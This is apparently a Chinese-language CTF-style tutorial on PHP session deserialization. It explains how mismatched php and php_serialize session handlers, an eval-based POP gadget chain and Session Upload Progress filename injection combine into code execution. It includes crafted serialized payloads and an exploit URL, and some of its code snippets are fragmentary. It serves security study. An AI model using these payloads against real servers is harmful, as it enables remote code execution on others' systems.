session.save_path 设置session的存储路径
session.auto_start 指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.save_handler 设定用户自定义session存储函数,
如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.serialize_handler
定义用来序列化/反序列化的处理器名字。
默认使用php;该属性可以在phpinfo中看到
php.ini配置文件中session.serialize_handler的默认值是php,
但是假设开发想使用别的程序,可以在代码中指定,
php的session在整个会话过程中,其值并不是保存到内存中,
但是服务器上的文件内,保存路径可以在phpinfo中的 session.save_path 找到,
具体的文件名结构为:sess_PHPSESSID的值
比如,
访问得到PHPSESSID的值为:a0oh9n0823t3kaaghe8rd13jt4
综合文件名称为:sess_a0oh9n0823t3kaaghe8rd13jt4
看到具体内容为name|s:3:"sec";
session本地文件存储在引擎设置为php的格式为,
php引擎方式存储:键名+竖线 |+经过serialize()函数序列处理的值
当引擎设置为php_serialize可以看下内容为,
a:1:{s:4:"name";s:3:"sec";}
格式为,
a:1:{key与value同时进行序列化}
● pip配置文件内session.serialize_handler的值是php(默认)
● 开发在代码中设置session反序列化的引擎为php_serialize
● $_SESSION的值可控
● 要有可利用的反序列化的类/函数(同时本页面要有session_start();)
有session_strart()就会读取session文件内的内容并进行反序列化,
目标代码,
func = "phpinfo()";
}
function __wakeup(){
eval($this->func);
}
}
unserialize($_GET['a']);
?>
生成payload,
func = "echo xbb;";
}
function __wakeup(){
eval($this->func);
}
}
//unserialize($_GET['a']);
$a = new syclover();
echo serialize($a)
?>
得到payload,
O:8:"syclover":1:{s:4:"func";s:9:"echo xbb;";}
PHP中的Session的实现本身是没有的问题的,危害主要是由于程序员的Session使用不当而引起的。
构造一个满足上述4条限制的场景,下边是两个目标文件,
aaa.php,使用php_serialize来处理session
bbb.php,使用php来处理session
hi = 'phpinfo();';
}
function __destruct() {
eval($this->hi);
}
}
// O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}
先构造bbb.php中的payload,
O:5:"lemon":1:{s:2:"hi";s:11:"echo "xbb";";}
依次访问先将内容写入sess文件,然后在反序列化;
在第二次反序列化的时候,仅仅反序列化“|”符合后的字符串,即
O:5:"lemon":1:{s:2:"hi";s:11:"echo "xbb";";}
class.php
varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "
文件".$this->varr."存在
";
}
echo "
这是foo1的析构函数
";
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){ // 类被当作字符串时被调用
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "
这是foo2的析构函数
";
}
}
class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "
这是foo3的析构函数
";
}
}
index.php
varr = "phpinfo.php";
?>
foo3内的execute函数可以触发命令执行,
该函数可以在foo2的__toString函数调用,
而__toString函数可以被foo1的file_exist函数触发,
先本地构建foo3,尝试可以执行的代码,
$foo3 = new foo3();
$foo3->varr = "phpinfo();";
$foo3->execute();
没问题之后,直接实现上边的思路
$foo3 = new foo3();
$foo3->varr = "phpinfo();";
#$foo3->execute();
$foo2 = new foo2();
$foo2->obj = $foo3;
$foo1 = new foo1();
$foo1->varr=$foo2;
同样正常的打印出phpinfo。
这个题目没有给可控写session的地方,先模拟写入session看看是否符合预期,
echo serialize($foo1);得到
O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:10:"phpinfo();";}}}
构造写入session的代码,
先访问写入session,在访问触发;这个“|”符合别忘了
http://127.0.0.1/bbb.php?a=|O:4:%22foo1%22:1:{s:4:%22varr%22;O:4:%22foo2%22:2:{s:4:%22varr%22;s:10:%221234567890%22;s:3:%22obj%22;O:4:%22foo3%22:1:{s:4:%22varr%22;s:10:%22phpinfo();%22;}}}
可以触发漏洞,
现在问题来了,上边的是我们假设存在bbb.php写入session文件的情况,
但是现实是没有这种文件/代码的,这种情况下该如何办呢?
写入的方式主要是利用PHP中Session Upload Progress来进行设置,
具体为,在上传文件时,如果同时POST一个与与INI中PHP_SESSION_UPLOAD_PROGRESS同名的变量,
当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据,
即就可以将filename的值赋值到session中,所以可以通过Session Upload Progress来设置session。
如果session.upload_progress.cleanup=On的情况下需要竞争提交,
默认为On(为off就不用条件竞争了)
通过phpinfo()页也可以看到
另外注意设置,不然写入php.ini的session是错误的,
session.serialize_handler = php_serialize
所以为了方便复现,先手动设置pip文件,
session.upload_progress.cleanup=On
session.serialize_handler = php_serialize
上传的页面的写法如下:
利用前面的html页面随便上传一个东西,抓包,在包中把filename改为如下:
|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:10:"phpinfo();";}}}
为防止转义,在引号前加上反斜杠\。
最后就会将文件名写入到session中,具体的实现细节可以参考PHP手册。
注意与本地反序列化不一样的地方是要在最前方加上| ,因为这是php引擎的格式。
该地方最开始很多同学复现极少成功,原因是使用上边的html文件进行文件上传,没有携带cookie,
这样的一个明显情况就是,本地的本地的session文件目录下,每次请求都会多一个文件,但是内容都是空,
这个点,谷歌百度没有找到一例成功解决的,笔者也是多次测试得到的结论
现在是最理想的情况下,当出现 session.upload_progress.cleanup=On 的情况下,
就得通过条件竞争来实现了,修改配置文件,重启后查看phpinfo,已经改回来了,